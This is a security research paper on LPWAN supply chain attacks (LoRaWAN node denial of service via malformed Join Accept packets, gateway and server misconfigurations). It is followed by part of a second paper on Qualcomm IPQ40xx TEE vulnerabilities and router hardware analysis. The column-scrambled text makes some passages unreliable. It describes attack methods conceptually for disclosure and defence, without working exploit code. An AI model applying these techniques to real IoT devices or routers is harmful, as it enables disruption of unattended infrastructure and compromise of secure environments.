# INSECURE **IINK**. SECURITY ANALYSIS PRACTICAL ATTACKS **OF LPWAN**

Li YuXiang and Wu HuiYu

# ABSTRACT

With the rapid development of the Internet of Things technology, many new smart scenarios have emerged in recent years, such as smart cities and smart agriculture. The popularity of these new scenarios is inseparable from the rapid development of LPWAN (low-power wide-area network). In LPWAN, the two most mainstream technologies are LoRaWAN and NB-loT, with hundreds of millions of IoT devices connected by the two technologies. Due to the complexity of the LPWAN supply chain, security in this area cannot be ignored. In recent years, LPWAN security research has focused on LoRaWAN, mainly focusing on LoRaWAN specification and keys. NB-IoT is relatively complicated and closed. Therefore, there are few security researches on NB-IoT in the industry. In this talk, we will share the security research

findings in the LPWAN. We take modules and chips in the real world as practical objects to conduct a more in-depth study on the security of the LPWAN supply chain. First, we will introduce the supply chain implementation of different technologies in LPWAN and share the findings of our practice of existing security research on actual equipment. In addition, we will analyze the architecture of LoRaWAN and NB-IoT modules from the perspective of supply chain, and summarize the attack surfaces of the two technologies in the real world. Finally, we will share how to discovering and testing the vulnerabilities on the LPWAN module, as well as the multiple security risks (LoRaDawn) we found in the LoRaWAN supply chain. We hope that our findings can help manufacturers improve the security of the LPWAN supply chain.

# INTRODUCTION TO LPWAN SUPPLY CHAIN

In order to overcome the limitations of short range protocols, Low Power Wide Area Networks (LPWAN) are introduced, which offer a long range connectivity in the order of kilometers. It has low power and low bit rate for long-distance communication. The mainstream LPWAN technology includes LoRa, NB-IoT, sigfox.

At present, these communication technologies have been widely used, including smart cities, smart agriculture, smart industries and so on, which belong to the application scenarios of LPWAN.



Figure 1 Market Share of LPWAN

According to the research of some organizations, it is predicted that more than one billion devices will use LPWAN technology in the future, among which LoRa and NB-IoT will occupy a large market share. At the same time, compared with Zigbee, Bluetooth and other communication technologies, the security research of LPWAN is relatively less. With the large-scale use of LPWAN devices, security in this area will be very important.

# LoRa/LoRaWAN

LoRa (Long Range) is the modulation technique used in the physical layer that enables long-range low-power communications by using Chirp Spread Spectrum (CSS) modulation. It use unlicensed frequency bands, such as 470, 868, 915 MHz, anyone can independently deploy the network. LoRaWAN is a cloud-based medium access control (MAC) layer protocol but acts mainly as a network layer protocol for managing communication between LPWAN gateways and end-node devices as a routing protocol, maintained by the LoRa Alliance.

# NB-loT

NB-IoT is a new IoT technology set up by 3GPP as a part of Release 13. Although it is integrated into the LTE standard, it can be regarded as a new air interface. It uses the licensed frequency bands, which are the same frequency numbers used in LTE, and employs QPSK modulation. There are different frequency band deployments, which are stand-alone, guard-band, and in-band deployment

# LPWAN Supply Chain

LoRa patent technology is dominant, mainly concentrated in semtech. There are more NB-IoT chip vendar, including Qualcomm, MediaTek, and Hisilicon, all of which have developed chips of their own architecture.

Then there is the module. Some major module manufacturers (such as RAK, quectel,blox, etc.) encapsulate the chips and the capabilities they provide through integration, and give them to the equipment manufacturers .

Equipment manufacturers will purchase a large number of modules for the development of end products. For example, water and electricity meter, door/window sensor, etc.



Figure 2 LPWAN Supply Chain Composition

In the end, when deploying the LPWAN solution, you need to work with cloud vendors or operators to complete the deployment. At this point, the whole solution is fully deployed, and the scheme will be managed or optimized with cloud data in the later stage.

In the real world, a complete LPWAN solution requires the participation of many vendors, so we think that the security of LPWAN supply chain is worth studying.

# LoRaWAN vs NB-loT

# Technical characteristics

From the technical characteristics, because LoRaWAN is simple and easy to deploy, so in battery life, coverage, cost efficiency will be better than NB-IoT. On the contrary, NB-IoT is managed by traditional telecom operators and refers to 3GPP standards, so it is excellent in terms of latency and security.

LoRaWAN uses AES 128 as its security basis. NB-IoT 's security features follow LTE, which has security protection in AS,NAS. At the same time, it uses SIM card as authentication, which is relatively more secure.

LoRaWAN NB-IoT **Technology Parameters** Bandwidth 125 kHz 180 kHz 165 dB 164 dB Coverage **Battery Life** 15+ years 10+ years 120 mA **Peak Current** 32 mA 5µA 1µA Sleep Current 50 Kbps 60 Kbps Throughput Device Class Dependent < 10 s Latency AES 128 bit Security 3GPP (128 to 256 bit) Geolocation Yes (TDOA) Yes (in 3GPP Rel 14) Cost Efficiency (Device and Network) High Medium Source: ABI Research

Figure 3 Technical Characteristics of LoRaWAN and NB-IoT

# Network architecture

The LoRaWAN device transmits data to NB-IoT is guite different. It is a modified the gateway by radio. The gateway is very version of LTE. Therefore, the device LoRa packets, the other side can access

Finally, it reaches the network server, and the solution manager can manage the device according to the application server. The LoRaWAN gateway is easy to buy, which is of great help to our security research.

similar to the router, one side receives is connected to the operator's network through the base station (called eNodeB in Ethernet through LTE, WIFI and other ways. LTE). An eNodeB is expensive and difficult to buy, and requires in-depth knowledge of radio before it can be developed on its own. Then there is the core network of operators. NB-IoT follows LTE's EPC, which is a complete black box for us. Finally, connect to the IoT platform through the network. Managers can manage the equipment through this platform.



Figure 5 Network Architecture of NB-IoT

# NEW SECURITY RISKS OF LORaWAN AND OUR PRACTICE

# **LoRaWAN** Protocol

The lorawan protocol consists of two parts, In this section, we will introduce our new and lora is responsible for radio modulation discovery in the lorawan supply chain, and demodulation. The MAC layer is our named loradawn. These risks occur in focus. According to the specification, nodes, gateways and core networks, and lorawan devices will be divided into three categories: class A, class B, class C. Choose according to different scenarios.

Generally speaking, The security basis of the protocol is AES. The AppKey is stored in the node and server, used to generate the the lorawan protocol stack, gateways, and session key. NwkSKey and AppSKey are servers. session keys that are used for encryption, decryption and MIC verification.

LoRaWAN has two ways to activate devices, ABP and OTAA. ABP can be understood as a constant session key, while OTAA conducts key negotiation through AppKey.

# **Previous Security Research**

The existing security studies of the two technologies are mainly as follows:

- · LoRaWAN: The security issues of specification (v1.0.3), which the has been fixed in the new version of the specification. But there are also great challenges in using the new specification in the real world. The security risks of LoRanWAN deployment, is usually an issue of secure use of keys. At this stage, it can be well solved by improving manufacturers' security awareness and compliance operation.
- NB-IoT: There are few studies, most of which is survey or theory.

# Security of LoRaWAN Supply Chain

are verified in practice.

Lorawan has many open source implementations, and these There are many keys in LoRaWAN. implementations are actually used in the real world. This slide lists several of the projects involved in our study, including

# Architecture of LoRaWAN Nodes

Products on the market usually have two architectures. The first is the MCU plus Radio mode. This method is low-cost, and the application and lorawan protocol stack run in this MCU and operate radio to send radio packets.

The other is the way of adding module to external MCU. At this point, MCU usually only runs applications or RTOS. The work on the protocol stack and radio operation is integrated into the module, and the module vendor will also add a part of the AT library.

But regardless of the architecture, we find that the lorawan protocol stack is an essential common component. The most widely used protocol stack is LoRaMacnode. This is why we study this software.



Figure 6 Architecture of LoRaWAN Nodes

# Architecture of LoRaWAN Gateways

Lorawan gateways are similar to routers. Packet Forwarder components are usually running on linux. The Packet Forwarder component reads the Lorawan packet through the driver, encapsulates the data into a specific protocol and sends it to the network server. Packet Forwarder components include packet\_forwarder,basicstation,mgtt, etc.

Hardware needs to be connected to SX1301 to operate lora radio packets.

For example, the architecture of the RAK831 gateway shows that it is based on raspberry pie, connects to SX1301 through a converter board and manipulates data through SPI

- Packet Forwarder (Bridge between node and server)
  - packet\_forwarder,basicstation,mqtt, etc.
- Linux as OS, It's a router



Figure 7 Architecture of LoRaWAN Gateways



# Architecture of LoRaWAN Network Server

The mainstream lorawan servers are chirpstack and ttn, both of which can be used for private deployment. In addition, TTN provides public services that allow anyone to build lorawan solutions. The two architectures are as follows: In general, they all include several components:: MQTT Broker, network server, application server, database, integration. Communication between these components uses MQTT,gRPC,HTTP and other protocols.

# Chirpstack





# TTN

After introducing the technology implementation in the real world, let's summarize the security risks of lorawan supply chain.

On the node, we can pay attention to the vulnerabilities of the loramac-node software, which is a widely used software.

On the gateway, we can pay attention to the security issues of different Packet Forwarder.

wOn the server, they are all written in golang, so we can focus on the security risks introduced by the default configuration and open source code.

Figure 9 Architecture of TTN

The loramac-node is developed by semtech and is widely used. Most packet parsing needs to know AES KEY, which we think will be very difficult in future. Therefore, our focus is on the logic before participating in the AES operation, and this part of the code is very simple. But fortunately, we found a vulnerability.

The vulnerability is caused by loramac-node 's failure to verify whether the packet length is valid when processing JOIN ACCEPT response packets. The vulnerability exists in the process of OTAA, which can cause harm to the devices that are joining the network. For deployed projects, it is necessary to rejoin the network, which needs to be combined with other attack methods.

The obvious advantage of this vulnerability is that we can launch attacks without knowing the appkey and achieve a widespread denial of service by sending malicious radio

# Security Analysis of LoRaMac-node



# Send radio packets to nodes

Because of the low power consumption of Ipwan, they are not always online, so attacking such devices requires a specific cycle.

The receive window for class a devices is defined in the lorawan specification. After the device sends the uplink packet, two short receiving windows will be opened, and the lora packet will be processed only when it is received in the receiving window. In addition, the downlink channel is also different in different areas. For example, in CN470, RX1 Channel Number equals Uplink Channel Number modulo 48.

Therefore, after calculating the appropriate delay and channel, you can really launch an attack.



# Debug

After having the ability to send malicious radio packets, we can select some development boards as the environment for loramac-node debugging. We can choose the P-NUCLEO-LRWAN1 development board as the test equipment, which provides MCU, expansion boards, and stlinks. VS CODE and openocd are used to debug the software. This development board is very suitable for debugging the protocol stack. Can help us quickly verify the vulnerability.





NUCLEO-L073RZ

Figure 12 P-NUCLEO-LRWAN1 Development Board





# **Our Practice**

We chose a temperature sensor as the target to test it. The attack flow is as follows: when the temperature sensor sends an uplink OTAA packet, our hijacker sniff the radio packet and notify the local server.

After calculating the downlink channel and delay, the local server sends the malicious packet to the hijacker. The hijacker sends it to the device after an appropriate delay. At this point, the sensor receives malicious packets, triggers related vulnerabilities, and the device denies of service.

The above is the practice of the loramac-node vulnerabilities we found in the actual device. We believe that Ipwan equipment is used very much and is mostly used in unattended scenarios such as smart cities and agriculture. Even denial of service has a great impact.



Figure 13 Attack Flow of Our Practice

# Security Analysis of LoRa Basics<sup>™</sup> Station

LoRa Basics Station is new state-of-the-art gateway packet-forwarder. Compared with traditional components, it defines two protocols, CUPS and LNS. Cups is used to upgrade Basics Station, and the protocol format generally includes length and data.

LNS uses websocket to establish a long connection with the server, and the server can send data to the gateway. In theory, if TLS Pinning is used, it will be safer.

The main risks are as follows:

1. This component does not enable authentication mode by default, so a lack of security awareness of the deployer may lead to man-in-the-middle hijacking.

- 2. The LNS protocol contains powerful capabilities and may be at risk of abuse. The server is fully trusted in the LNS protocol. Therefore, even if TLS is enabled, a malicious server can still abuse the capabilities of the LNS protocol, , such as remote code execution
- 3. CUPS itself has memory or logic vulnerabilities when processing data, which can lead to security risks.

From the documentation, The LNS contains remote commands. Although this is helpful for remote management of gateways, it may be abused and lead to security risks. Therefore, we can RCE by hijacking or malicious servers to send packets to the gateway components.

# Chirpstack: Risk of Abusing the Default Configuration

The default configuration of Chirpstack is a security risk. If the server deployer does not read the instructions carefully or does not have security awareness, it will lead to the risk of an attack on the server.

For example, the default weak password may be used in the database, web. If an attacker can enter the web service of the application server with a weak password, he can obtain sensitive device information, such as device data, appkey, etc.

In addition, some MQTT and gRPC services are not authenticated, which can lead to permissions or data disclosure. We verified these security risks in April last year.

We searched the current network and found that the deployment of Chirpstack servers showed a growing trend, these security risks are worthy of our attention.

MQTT integration is usually used by managers to manage the deployed lorawan solution. In the default configuration of MQTT broker, the username, password and ACL are optional. Therefore, incorrect configuration may bring the following security risks:

- 1. Attackers can subscribe to any topic through wildcards. In this way, the data of the interaction between the device and the server can be obtained, including device information.
- 2. After knowing the device information, the attacker can also forge downlink data and send it to the node through MQTT.

# LoRaWAN-stack: Security issues of open source code

In addition, UDP parsing logic of the lorawan-stack code may be an attack surface. By Sending a malicious UDP packet causes the server to crash when the gateway id is known. This is also a way to attack the server.

# ta ir a la r d s ir S d ir t f A A

# SECURITY INTERNAL OF NB-IOT

Nbiot chips are highly integrated, usually soc. It contains different chip architectures and RTOS.

In addition, the nbiot protocol is far more complex than lorawan. The entire protocol stack includes baseband, TCP/IP, and applications. The baseband includes the physical layer of nbiot, and the upper layer follows the protocol of LTE.

In the nbiot network, there are black boxes in the EPC/eNB/IoT Cloud Platform, which brings a lot of challenges to the security research.



Figure 14 Protocol Stack of NB-IoT

# Architecture of NB-IoT Chip (A)

It is a multi-core architecture, each core using ARM Cortex-M0. The three cores are used for different purposes and each core has its own RTOS for task scheduling.

Core A contains the application layer protocols in the TCP/IP protocol stack such as DTLS,COAP,LWM2M. In addition, it also includes the application layer, which is used to provide module vendors to develop the corresponding AT library or application development. APPS can only provide AT command interface, so that external MCU can interact with nbiot chip or module directly through AT command. In this way, the development of the application is mainly focused on the external mcu.

Core B mainly deals with lower-level protocols, including baseband, such as NAS,RRC,L2/L1 related to NBIOT, and uses lwip as the tcp/ip protocol stack to provide socket wrapper function for core A.

Core C is mainly to provide some security capabilities. Including the security check needed by security boot,FOTA and so on. The manufacturer involves a set of RPC mechanism, which uses shared memory to realize the interworking of data between cores.

# Architecture of NB-IoT Chip (B)

The other chip architecture is implemented in a single-core way. Take chip B as an example, which uses ARM Cortex-M4. The entire core is divided into two domains, including the application domain and Modem domain. It is very similar to the division of AP and Modem in mobile phones.

Each domain uses a different RTOS for task scheduling. The application domain includes the entire TCP/IP protocol stack and the upper application. C

ompared with chip A, it also uses the lwip library as the TCP/IP protocol stack implementation, but it belongs to the application domain together with the upper layer protocol. Modem domain is mainly related to baseband processing. The two domains communicate with each other by sharing queues. Bootloader is also included in this core.

Similarly, the APP layer in the application domain can provide only the AT command interface for external MCU to operate through the AT command.

# Attack Surface of NB-IoT Module

After our reverse analysis, we found that even though different vendors adopted different architectures. But some technical implementations are similar. We summarize the attack surface of NBIOT chip.

There are three categories. The first category is related to TCP/IP, which may use the same third-party libraries or implement specific logic based on the same standards.

The other is related to baseband, where the technology implementation is related to chip vendors, each of which has its own implementation and will not use open source third-party libraries. It is more difficult to find this kind of software vulnerability.

Another category is the risk of intercore communication or inter-domain communication. Most of the codes we mentioned here belong to chip manufacturers. Module manufacturers mainly work in APPS.
In addition to the attack surface introduced here, the application processing logic developed by the equipment manufacturer will also have security risks. But because the program developed by the equipment manufacturer is not a common component, we will not introduce it here. If you want to attack programs developed by equipment vendors, you can choose vendors with a high market share.

#### **Our Practice**

Because the nbiot chip is highly integrated and the technology is closed, it is difficult for us to purchase the evaluation board of the chip for debugging. Therefore, we can only get the running status of the chip by log and debug it.

Manufacturers have provided useful software to view logs. Through the log, we can see some output inside the chip, including the status of the baseband, the output of the application, and so on. It is a little helpful for us to understand the program flow and verify software vulnerabilities.

We made some attempts to send packets to the nbiot chip. Different testing schemes are adopted according to different protocol stacks. If it is a TCP/ip-related test, we use raspberry pie and SIM card to access the network for testing.

For baseband related tests, SDR and SIM cards can be used for testing. We can use open source projects for testing, but the compatibility is not very good at present. At the same time, we can also buy nbiot base stations for testing, but this is not easy. There are still many challenges to overcome throughout the testing process.



Figure 15 TCP/IP Testing Tool



Figure 16 Baseband Testing Tool

#### SECURITY ADVISE

In this section, we will provide some security suggestions about the LPWAN supply chain.

For LoRaWAN, we believe that node developers should use the latest version of the protocol stack for development. The development and deployment of gateways need to enable authentication and encryption mechanisms. The service provider should clear the weak password, enable authentication, and validate the input data with the open port.

For NB-IoT, we believe that chip / module vendors should update third-party libraries or chip firmware in a timely manner. When using coap and mqtt as communication protocols, TLS and authentication should be adopted to improve security.

In the part of EPC, operators should make a good network access policy to improve the security of the network.



# 

Cristofaro Mune and Niek Timmers

#### INTRODUCTION

The Qualcomm IPQ40xx family of chips, Still, the availability of a TEE on а which includes the IPQ4018, IPQ4019, consumer networking product, like the IPQ4028 and IPQ4029, are popular System- Linksys EA8300, is somewhat surprising. on-Chip (SoC) solutions for consumer and Differently from Secure Boot, any use case, enterprise networking products. Many other than providing an additional layer of devices like the ASUS RT-AC58U, Cisco security, has not clearly emerged yet. Meraki MR33 and Aruba AP-365 use an We've analyzed multiple IPQ40xx-based IPQ40xx chip as the main System-on-Chip products and found QSEE implemented on (SoC) in their design.

all of them. However, this does not imply The OpenWRT Project supported device that QSEE is actually actively used once database shows at least 34 products, the device is fully initialized. For example, manufactured between 2018 and 2020, the Linksys EA8300 is only communicating that are designed around a IPQ40xx chip. with QSEE during boot. We believe the The total number of products is likely much IPQ40xx SDK includes QSEE by default and larger as many devices, like the Netgear therefore is therefore always initialized by Orbi RB20, are not supported by OpenWRT the Qualcomm bootloaders. This means, and therefore not included in the database. an OEM like Linksys, may only have limited control or insights whether QSEE is present on a product or not.

We often analyze networked devices and it's not surprising that an IPQ40xx-based device found a way to our lab. We extremely interested once we recognized that this SoC supports Secure Boot and a assigned: CVE-2020-11256, CVE-2020-Trusted Execution Environment (TEE) made 11257, CVE-2020-11258 and CVE-2020by Qualcomm (hereinafter simply referred to as 'QSEE').

During the last decade, the availability of devices with a TEE has increased, answering the need for securing the execution of critical code on multi-purpose devices. Most, if not all, mobile phones include nowadays a TEE to support the devices already in the field. Therefore, we implementation of multiple security critical use cases in parallel. The mobile phones based on Qualcomm Snapdragon SoCs Fault Injection (EMFI). This type of attack typically implement QSEE as well.

Moreover, TEE implementations are also possible. present on devices like Smart TVs (e.g. for DRM), set-top-boxes (e.g. for PayTV) We determined after a week of testing that and even ECUs used by modern vehicles. these chips are indeed vulnerable and can

got We identified multiple critical vulnerabilities for which the following CVEs were 11259. We successfully exploited all these vulnerabilities and we were able to execute arbitrary code within QSEE, effectively compromising the security of this additional layer of protection.

> These software vulnerabilities can easily be fixed using a software update, even to decided to test if the Qualcomm IPQ40xx chips are vulnerable to Electromagnetic is able to break any software security model by altering the expected behavior is

be used by an attacker to execute arbitrary SoC which is shown in Figure 1. code within QSEE without relying on any software vulnerability.

public examples, where hardware fault injection is used to break the security model of a TEE, by altering the intended behavior of software. We reported both the software and hardware vulnerabilities in Qualcomm using a coordinated disclosure process (Q3 2021).

Qualcomm indicated that fixes for the and exploiting vulnerabilities. software vulnerabilities were distributed to their customers. However, they also indicated that FI attacks are out of scope of the chip's threat model. Therefore, an attacker capable of injecting EM glitches, is always able break into QSEE, without relying on any software vulnerability.

#### TARGET



Figure 1: Qualcomm IPQ4019 SoC

The Linksys EA8300 is a AC2200 Wi-Fi Tri-Band Router. Some of the information we used was obtained from Open WRT's website and FCCID's website. This device Figure 2: Serial interface on the Linksys EA8300 is designed around the Qualcomm IPQ4019

Our interest was immediately sparked after reading its product description as As far as we know, this is one of the first it supports two of our favorite security features: Secure Boot and TEE.

> It's always interesting to start analyzing a new device in a black-box setting and with much anticipation we were looking forward to the activities ahead of us. We never know what exactly to expect, but we may easily end up into our favorite activity: identifying

#### Serial Interface

Hardware hacking often starts with opening the device. The next step is scoping out useful signals like the serial interface, which often provides a (root) shell on consumer networking products.

It would not be the first time such interface is clearly marked on the on the printed circuit board (PCB). For the Linksys EA8300, the serial interface is present on an unpopulated connector that's easily accessible as is shown in Figure 2.



Conveniently, the pin-out and other information required

for communicating with the serial interface can be found on OpenWRT's website. This spares us the probing of the pins for determining the required parameters. There's no harm done standing on the shoulders of others!

#### Boot Log

After connecting to the serial interface, we observe what's send over this communication interface by the device during boot. Immediately we are presented with a stream of interesting print statements. The printing during boot, shown in Listing1, is done by the boot stages developed by Qualcomm: PBL and SBL1.

S	_	QC_IMAGE_VERSION_STRING=BOOT
S	_	IMAGE_VARIANT_STRING=DAACANA
S	_	OEM_IMAGE_VERSION_STRING=CRM
S	_	Boot Config, 0x00000025
S	_	Reset status Config, 0x00000
S	_	Core 0 Frequency, 0 MHz
В	_	261 - PBL, Start
В	_	196174 - PBL, End
в	_	196198 - SBL1, Start
В	_	520319 – Image Load, Start
D	_	143867 – QSEE Image Loaded
в	_	664611 - Image Load, Start
D	_	2116 - SEC Image Loaded,
В	_	674745 - Image Load, Start
D	_	187171 - APPSBL Image Load
в	_	862309 - QSEE Execution, S
D	_	56 - QSEE Execution, I
в	_	868531 - SBL1, End
D	_	674334 – SBL1, Delta
S	_	Flash Throughput, 2087 KB/s
S	-	DDR Frequency, 672 MHz

#### Listing 1: Boot printing by PBL and SBL1

If you are familiar with Qualcomm-based devices, you may recognize the typical boot flow where the PBL and SBL1 are printing timestamped log lines. If you're interested, more details about the boot process of Qualcomm-based mobile phones is provided by this great blog post by Quarkslab.

However, the boot process of our target device has more commonalities with older mobile phones, as shown in this advisory (2017) by Aleph Security.

Once the execution of the SBL1 completes, the control is passed to the U-Boot bootloader, which is a common boot stage for loading Linux. Conveniently, we were able to break into the U-Boot console by pressing a key during boot, which is shown in Listing2.

```
.BF.3.1.1-00108
ZA
010
d,
  Delta
 Delta
ded, Delta
Start
Delta
```

```
U-Boot 2012.07 [Chaos Calmer 15.05.1,r35193] (...)
CBT U-Boot ver: 1.2.9
smem ram ptable found: ver: 1 len: 3
DRAM: 256 MiB
machid : 0x8010006
NAND: ID = 9590daef
. . .
ipq40xx_ess_sw_init done
Updating boot_count ... done
Hit any key to stop autoboot: 0
(IPQ40xx) #
```

Listing 2: Boot printing by U-Boot

The U-Boot console typically includes very useful com- mands. However, it really depends on the device which com- mands are really available, as the manufacturer is free to add or remove commands. Luckily for us, the U-Boot console on this target is fairly rich and we are presented with lots of useful functionality.

#### **ARM TRUSTZONE**

In order to have a clear understanding of the different security boundaries, let's quickly revisit some TEE basics. The Rich Execution Environment (REE), or Non-secure World, is the environment where the typical user applications are executed. The Security Extensions of the ARMv7-A architecture, i.e. ARM TrustZone, introduce support for an additional Trusted Execution Environment (TEE), or Secure World, which is the environment where the security critical applications are executed.

The underlying platform, in other words the hardware, is responsible for providing adequate functionality to securely implement both these environments. These two environments are distinguished by the Non- Secure (NS) bit (i.e. SCR.NS). This bit set to 1 for execution of REE code and set to 0 when executing TEE code.



Figure 3: ARM TrustZone

The transition between these two execution modes is governed by the Monitor mode, which traps the execution of Secure Monitor Call (SMC) instructions. More details about this technology is available in ARM's Architecture Reference Manual for the ARMv7-A architecture.

When the IPQ40xx is released from reset, execution starts at the highest level of privilege. This allows the code to have unrestricted access to the hardware.

The Primary Boot Loader (PBL), implemented in the SoC's read-only memory (ROM), loads the second stage bootloader (SBL1) into internal SRAM. The SBL1 is responsible for several things, including initializing the external DDR, loading QSEE from flash and loading U-Boot from flash.

It's important to raelize that the PBL and SBL1 are executed at the highest privilege level as they are responsible for loading the QSEE. Moreover, it's likely that the U-Boot bootloader is running at a much lower privilege as it's mostly responsible for loading Linux.

#### EXTRACTING QSEE BINARY

The U-Boot console provides a convenient and powerful environment for accessing the flash. For example, we can use the smeminfo command in order to get an overview of the flash partitions, which is shown in Listing3. The QSEE binary that we are after is actually stored in a dedicated partition.

(IPQ40xx) # smer	ninfo		
flash_type:		0x2	2
flash_index:		0x(	)
flash_chip_seled	ct:	0x(	)
flash_block_size	e:	0x2	20000
flash_density:		0x1	L00000
partition table	offset	0x0	)
No.: Name	Attribut	tes	S
0: 0:SBL1	0x0000f:	fff	
1: 0:MIBIB	0x0000f:	fff	0x100
2: 0:QSEE	0x0000f:	fff	0x200

Listing 3: U-Boot's smeminfo command

Extracting the flash contents is fairly easy using the com- mands provided by the U-Boot console. First, we use the nand command to read the flash contents to volatile memory (e.g. SRAM or DDR).

Then, we use the tftpput command to dump the flash contents from volatile memory via the network to our TFTP server. This allows us to extract the entire flash without any soldering.

Size Start 0x0 0x100000 0000 0x100000 0000 0x100000

#### ANALYZING QSEE

The QSEE partition is actually a flat binary that can be analyzed directly using your favorite decompiler. Unfortunately, being a flat binary, there is no meta data present in the binary which could tell us about its structure.

We know that the IPQ40xx processor implements the ARMv7 architecture and therefore we know to expect ARM AArch32 Little Endian (LE) code. We load the QSEE binary into IDA Pro and select the ARM32 Little Endian architecture. We determined that the loading address of the QSEE binary is 0x87E80000 by analyzing the absolute addresses used by the code.

The ARMv7 exception vector is found at the start of the QSEE binary. It's used to handle the processor's exceptions, including the exception raised by a SMC instruction. This mechanism is standardized and therefore we could easily define the correct names for each exception handler as is shown in Figure 4.

The code responsible for handling the SMC instruction is easily identified by following the Software Interrupt exception handler. This code extracts the SMC ID from register R0 in order to determine which SMC handler routine should be called. We determined that all SMC handler routines are defined in a table located at address 0x87EB465C in the QSEE binary as is shown in Figure 5.

Each of the SMC handler routines can be called using their unique SMC ID, which is also present in the table. For example, the SMC handler routine tzbsp\_ pil\_init\_image\_ns can be called by using the SMC ID 0x805. The table also contains

LOAD:87E80000 LOAD:87E80000		exception_vector		; DATA XREF: LOAD:87E801B0↓o ; LOAD:87E80304↓o
LOAD: 87E80000		LDR	PC,	
LOAD:87E80004			,	-Reset
LOAD:87E80004		2	PC	=Undefined Instr
LOAD: 87E80008				-onderined_inser
LOAD:87E80008		5	PC	=Software_Interrupt
LOAD:87E8000C		:		
LOAD: 87E8000C		)		=Prefetch_Abort
LOAD:87E80010		:	,	
LOAD:87E80010		2	PC,	-Data Abort
LOAD: 87E80014				
LOAD: 87E80014			PC,	-TRO ETO
LOAD:87E80018		;		-100-110
LOAD: 87E80018			PC,	-TRO ETO
LOAD: 87E8001C		•		-110_110
	1 08 00 00 s	mc_handlers_tuncs DCD 0x		DATA XREF: LOAD:smc_handlers_func_ptr21o
LOAD: 87EB465C	0 60 54 07	DCD -T-h-	-D:1T-:+T-	LOAD:smc_handlers_func_ptr1o "tzbsp_pil_init_image_ns"
LOAD: 87EB4660 1			ppilinitim ;	tzbsp_pii_init_image_ns
LOAD: 87EB4664 3		DCD 0x3D		
LOAD:87EB4668 1 LOAD:87EB466C 0		DCD 2	_pil_init_image_	115+1
LOAD:87EB46670		DCD 2 DCD 4		
LOAD:87EB4674		DCD 4		
LOAD:87EB4678		DCD 0×805		
LOAD:87EB467C 3				"tzbsp_pil_auth_reset_ns"
LOAD:87EB4680 3		DCD Øx3D	, ,	
LOAD:87EB4684 3	B 90 E8 87	DCD tzbsp	pil auth reset	ns+1
LOAD:87EB4688 0	1 00 00 00	DCD 1		•
LOAD:87EB468C	4 00 00 00	DCD 4		
LOAD:87EB4690 0	2 08 00 00	DCD 0x802		
LOAD:87EB4694 4	8 60 EA 87	DCD aTzbs	pPilMemAre ;	"tzbsp_pil_mem_area"
LOAD:87EB4698 0		DCD 0×D		
LOAD:87EB469C A			_pil_mem_area+1	
LOAD:87EB46A0 0		DCD 3		
LOAD:87EB46A4 0		DCD 4		
LOAD:87EB46A8		DCD 4		
LOAD:87EB46AC		DCD 4		
LOAD:87EB46B0		DCD 0×806		
LOAD: 87EB46B4 5			pPilUnlock ;	"tzbsp_pil_unlock_area"
LOAD: 87EB46B8		DCD 0xD		
LOAD: 87EB46BC			_pil_unlock_area	1+1
LOAD:87EB46C0		DCD 1		
LOAD:87EB46C4	4 00 00 00	DCD 4		

#### Top: Figure 4: QSEE exceptions; Bottom: Figure 5: ARM TrustZone



Figure 6: Usage of a range check

other useful information for reverse engineering the code, like the name of the SMC handler routine.

#### **RANGE CHECKS**

The memory is partitioned in Secure and Non-secure mem- ory, using hardware controllers that are configured when the TEE is initialized. This is likely done by the SBL1 bootloader during boot.

All code and data related to QSEE, including any Trusted Application (TA), should be stored within secure memory. In other words, none of the code and data used by QSEE should be accessible by the REE.

The REE passes the SMC handler routine's arguments by register. For example, ARG1 is stored in register R1, ARG2 is stored in R2 and so on. Buffers are passed by reference using memory that's accessible by both the REE and TEE.

Typically, this is simply just non-secure memory. As QSEE has no knowledge of the REE's virtual mapping, all pointers passed by the REE point to physical memory.

It's the responsibility of QSEE to carefully check the arguments received from the REE. For example, QSEE should check whether the buffer passed by the REE, described by a pointer and a size argument, is not located within secure memory.

Otherwise, it may be possible to read or write secure memory from the REE. While analyzing the SMC handler routines, we've identified the functions responsible for performing these range checks as is shown in Figure6.

The function tzbsp\_is\_nsec\_range validates the buffer passed by the REE

using the is\_allowed\_range function. This function uses a table with secure ranges to determine what memory should be considered secure memory.

This function checks, among a few other things, if the start of the buffer (i.e. pointer) and end of the buffer (i.e. pointer + size) are overlapping with secure memory as is shown in Figure 7 below.



Figure 7: is allowed range function

The table, that defines three secure ranges, is shown in Figure 8 below.



Figure 8: Secure Range Table

This means, that whenever thetzbsp\_is\_nsec\_range function is used to check the SMC handler routine's arguments, the buffer passed by the REE cannot overlap with: 0x0 to 0x7ffffff, 0x90000000 to 0xffffffff and 0x87E80000 to 0x87ffffff. In other words, buffers are only allowed when they are between 0x80000000 to 0x87E80000 and between 0x88000000 to 0x90000000. Until now, everything looks secure!

#### **QSEE SW VULNERABILITIES**

It's expected that functionality exists to check the arguments passed to the SMC handler routines. However, it would definitely not be the first time that such functionality is not used, or used incorrectly. Therefore, it's always a good idea to start analyzing the correct usage of such checks first.

Long story short, we've identified several SMC handler routines where the arguments are not properly checked. There were either no range checks, or they were used incorrectly. This resulted in the identification of 4 critical vulnerabilities.

- CVE-2020-11256 tzbsp blow fuses
   and reset
- CVE-2020-11257 usb calib
- CVE-2020-11258 tzbsp version set
- CVE-2020-11259 tzbsp version get

The above vulnerabilities require the ability to issue an SMC request to QSEE, either directly or indirectly.

"Directly" can be achieved by executing any code in the REE with sufficient privileges to execute an SMC instruction (i.e. kernel or even higher privileges).

"Indirectly" can be achieved by leveraging functionality that's already present on the device (i.e. a driver). An attacker that's able to successfully exploit the vulnerabilities, is able to:

- get unrestricted access to the underlying hardware
- gain full control of QSEE and the assets it protects

- escalate privileges in the REE (e.g. from user to kernel)
- bypass any security features implemented by QSEE (e.g. IPS, AV)

As far as we can tell, the Linksys EA8300 does not use QSEE for anything relevant during runtime. Also, no Trusted Application (TA) is installed.

This means the attack surface from an unprivileged REE application is likely minimal (i.e. QSEE can only be accessed by executing SMC instructions directly).

More information about the exploitation of these vulnerabilities were already disclosed duringZerOcon 2021. We will disclose this information also on the Raelize Research Blog.

These software vulnerabilities can be easily fixed and Qual- comm indicated that their customers were informed about the availability of such fixes. In anticipation of the fixes, we decided to explore the presence of a hardware vulnerability.

#### **QSEE HW VULNERABILITIES**

We decided to analyze the resilience of this chip towards fault injection attacks. We used Electromagnetic Fault Injection (EMFI) to inject glitches into the chip in order to affect its intended behavior.

